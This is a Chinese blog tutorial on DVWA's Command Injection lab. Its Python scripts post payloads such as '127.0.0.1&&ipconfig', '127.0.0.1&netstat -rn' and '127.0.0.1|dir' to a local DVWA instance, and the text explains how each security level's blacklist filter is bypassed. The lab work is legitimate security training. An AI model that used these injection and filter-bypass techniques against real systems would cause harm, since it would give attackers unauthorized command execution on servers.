使用Python脚本学习DVWA-Command Injection(命令注入)

Command Injection(命令注入)

本文全程参考[https://blog.csdn.net/zy15667076526/article/details/109705286?utm_medium=distribute.pc_relevant.none-task-blog-baidujs_baidulandingword-0]向该博主致谢

Low

浏览器按F12打开开发人员调试利器,访问DVWA。
发现使用post方法访问http://localhost/DVWA/vulnerabilities/exec/
在这里插入图片描述

提交ip=127.0.0.1&Submit=Submit
在这里插入图片描述

Python 脚本

#-*- coding:utf-8 -*-
import requests

headers = {'Cookie':'security=low; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'}
command ='127.0.0.1'
data={'ip':command,'Submit':'Submit'}

def post_http(data):
    url = 'http://localhost/DVWA/vulnerabilities/exec/'
    req = requests.post(url,headers=headers,data=data)
    return(url,req.status_code,req.text)

print('++++++++开始命令注入++++++++')
url,status_code,result=post_http(data)
print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result)))
print(result)

执行结果

可以看到执行ping命令测试127.0.0.1(本机回环地址)的连通性。

 D:\sqlinjection>python Command_Injection_low.py
++++++++开始命令注入++++++++
192.168.1.1 && ipconfig|http://localhost/DVWA/vulnerabilities/exec/|200|5397
............
*���� Ping 127.0.0.1 ���� 32 �ֽڵ�����:
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
127.0.0.1 �� Ping ͳ����Ϣ:
    ���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)��
�����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ):
    ��� = 0ms��� = 0ms��ƽ�� = 0ms*
............

注入其它命令

将python脚本的 command =‘127.0.0.1’ 改为 command =‘127.0.0.1&&ipconfig’

执行结果

可以看到执行ping 127.0.0.1 后,又执行ipconfig(查看网络配置)的命令,无线网卡上的ip为192.168.1.3

D:\sqlinjection>python Command_Injection_low.py
++++++++开始命令注入++++++++
127.0.0.1&&ipconfig|http://localhost/DVWA/vulnerabilities/exec/|200|5387
............
���� Ping 127.0.0.1 ���� 32 �ֽڵ�����:
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128

127.0.0.1 �� Ping ͳ����Ϣ:
    ���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)��
�����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ):
    ��� = 0ms��� = 0ms��ƽ�� = 0ms

Windows IP ����


��̫�������� ��̫�� 4:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�����
   �����ض��� DNS ��׺ . . . . . . . :

��̫�������� ��̫��:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�����
   �����ض��� DNS ��׺ . . . . . . . :

���߾����������� ��������* 1:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�����
   �����ض��� DNS ��׺ . . . . . . . :

���߾����������� ��������* 2:

   ý��״̬  . . . . . . . . . . . . : ý���ѶϿ�����
   �����ض��� DNS ��׺ . . . . . . . :

���߾����������� WLAN:

   �����ض��� DNS ��׺ . . . . . . . :
   IPv6 ��ַ . . . . . . . . . . . . : 240e:390:470:41a0:c430:f233:4119:1b2e
   ��ʱ IPv6 ��ַ. . . . . . . . . . : 240e:390:470:41a0:251a:ccf8:5425:fef6
   �������� IPv6 ��ַ. . . . . . . . : fe80::c430:f233:4119:1b2e%17
   IPv4 ��ַ . . . . . . . . . . . . : 192.168.1.3
   ��������  . . . . . . . . . . . . : 255.255.255.0
   Ĭ������. . . . . . . . . . . . . : fe80::1%17
                                       192.168.1.1
............

不完全测试,可以执行dir netstat ipconfig calc notepad等命令,但net user执行后无相应输出,估计是DVWA安装在Windows 10上吧。

Medium

根据参考博文,Medium的php源码中对&&和;字符做过滤处理,所以&&不能成功,使用&替代

DOS中&用法
这里需要注意的是”&&”与” &”的区别:

Command 1&&Command 2

先执行Command 1,执行成功后执行Command 2,否则不执行Command 2

Command 1&Command 2

先执行Command 1,不管是否成功,都会执行Command 2

复现过程-Medium 相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&”
、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。

Python 脚本

将python脚本的 command =‘127.0.0.1’ 改为 command = ‘127.0.0.1&netstat -rn’

#-*- coding:utf-8 -*-
import requests

headers = {'Cookie':'security=medium; PHPSESSID=jdftj2p08d067d7o3560ekeov5; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'}
command = '127.0.0.1&netstat -rn'
data={'ip':command,'Submit':'Submit'}

def post_http(data):
    url = 'http://localhost/DVWA/vulnerabilities/exec/'
    req = requests.post(url,headers=headers,data=data)
    return(url,req.status_code,req.text)

print('++++++++开始命令注入++++++++')
url,status_code,result=post_http(data)
print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result)))
print(result)

执行结果

执行ping命令后,又执行netstat -rn命令获取服务器网络路由表。

D:\sqlinjection>python Command_Injection_medium.py
++++++++开始命令注入++++++++
127.0.0.1&netstat -rn|http://localhost/DVWA/vulnerabilities/exec/|200|6865
............
���� Ping 127.0.0.1 ���� 32 �ֽڵ�����:
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128
���� 127.0.0.1 �Ļظ�: �ֽ�=32 ʱ��<1ms TTL=128

127.0.0.1 �� Ping ͳ����Ϣ:
    ���ݰ�: �ѷ��� = 4���ѽ��� = 4����ʧ = 0 (0% ��ʧ)��
�����г̵Ĺ���ʱ��(�Ժ���Ϊ��λ):
    ��� = 0ms��� = 0ms��ƽ�� = 0ms
===========================================================================
�ӿ��б�
 25...00 ff fb e0 7b ee ......Sangfor SSL VPN CS Support System VNIC
 16...b0 25 aa 2f 4e b8 ......Realtek PCIe GbE Family Controller
 12...38 00 25 c6 e9 2d ......Microsoft Wi-Fi Direct Virtual Adapter
 11...3a 00 25 c6 e9 2c ......Microsoft Wi-Fi Direct Virtual Adapter #2
 17...38 00 25 c6 e9 2c ......Intel(R) Wireless-AC 9462
  1...........................Software Loopback Interface 1
===========================================================================

IPv4 ·�ɱ�
===========================================================================
�·��:
����Ŀ��        ��������          ����       �ӿ�   Ծ����
          0.0.0.0          0.0.0.0      192.168.1.1      192.168.1.3     55
        127.0.0.0        255.0.0.0            ����·��         127.0.0.1    331
        127.0.0.1  255.255.255.255            ����·��         127.0.0.1    331
  127.255.255.255  255.255.255.255            ����·��         127.0.0.1    331
      192.168.1.0    255.255.255.0            ����·��       192.168.1.3    311
      192.168.1.3  255.255.255.255            ����·��       192.168.1.3    311
    192.168.1.255  255.255.255.255            ����·��       192.168.1.3    311
        224.0.0.0        240.0.0.0            ����·��         127.0.0.1    331
        224.0.0.0        240.0.0.0            ����·��       192.168.1.3    311
  255.255.255.255  255.255.255.255            ����·��         127.0.0.1    331
  255.255.255.255  255.255.255.255            ����·��       192.168.1.3    311
===========================================================================
����·��:
  ��

IPv6 ·�ɱ�
===========================================================================
�·��:
 �ӿ�Ծ��������Ŀ��                ����
 17    311 ::/0                     fe80::1
  1    331 ::1/128                  ����·��
 17    311 240e:390:470:41a0::/64   ����·��
 17    311 240e:390:470:41a0:251a:ccf8:5425:fef6/128
                                    ����·��
 17    311 240e:390:470:41a0:c430:f233:4119:1b2e/128
                                    ����·��
 17    311 fe80::/64                ����·��
 17    311 fe80::c430:f233:4119:1b2e/128
                                    ����·��
  1    331 ff00::/8                 ����·��
 17    311 ff00::/8                 ����·��
===========================================================================
����·��:
  ��
............

DOS中符号总结

此部分均引用至参考博文
l & 组合命令

语法:第一条命令 & 第二条命令 [& 第三条命令…]

&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是

允许的,而且用的非常广泛。因为批处理认行不认命令数目。

这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。

这里&两边的命令是顺序执行的,从前往后执行。

比如:

dir z:\ & dir y:\ & dir c:\

以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在

l Command 1 | Command 2

“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

l ; 分号

分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回

错误报告,但程序仍会执行。(有人说不会继续执行,其实测试一下就知道了)

比如:

dir c:;d:;e:;z:\

以上命令相当于

dir c:\

dir d:\

dir e:\

dir f:\

如果其中 z 盘不存在,运行显示:系统找不到指定的路径。然后终止命令的执行。

例:dir c:;d:;e:\1.txt

以上命令相当于

dir c:\

dir d:\

dir e:\1.txt

其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。

为什么?如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。

High

High的php源码中对 “& ; - $ ( ) · ||” 字符做过滤处理,所以这些字符不能被正常提交。对"|"字符过滤时多了一个空格,可以使用command = ‘127.0.0.1|dir’ 而不能使用command = ‘127.0.0.1| dir’
在这里插入图片描述

Python 脚本

#-*- coding:utf-8 -*-
import requests

headers = {'Cookie':'security=high; PHPSESSID=jdftj2p08d067d7o3560ekeov5; PHPSESSID=jdftj2p08d067d7o3560ekeov5','Referer':'http://localhost/DVWA/vulnerabilities/brute/index.php?username=admin&password=password&Login=Login&user_token=864a7651f4059a03020675f7eecb955c'}
command = '127.0.0.1|dir'
data={'ip':command,'Submit':'Submit'}

def post_http(data):
    url = 'http://localhost/DVWA/vulnerabilities/exec/'
    req = requests.post(url,headers=headers,data=data)
    return(url,req.status_code,req.text)

print('++++++++开始命令注入++++++++')
url,status_code,result=post_http(data)
print(str(data['ip'])+'|'+url+'|'+str(status_code)+'|'+str(len(result)))
print(result)

执行结果

D:\sqlinjection>python Command_Injection_high.py
++++++++开始命令注入++++++++
127.0.0.1|dir|http://localhost/DVWA/vulnerabilities/exec/|200|4481
............
               <pre> ������ D �еľ�û�б�ǩ��
 ��������� CC9A-AB24

 D:\phpEnv\www\localhost\DVWA\vulnerabilities\exec ��Ŀ¼

2021/03/31  18:53    <DIR>          .
2021/03/31  18:53    <DIR>          ..
2021/03/31  18:53    <DIR>          help
2021/03/31  18:53             1,838 index.php
2021/03/31  18:53    <DIR>          source
               1 ���ļ�          1,838 �ֽ�
               4 ��Ŀ¼ 176,284,340,224 �����ֽ�
</pre>
............

Impossible

Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值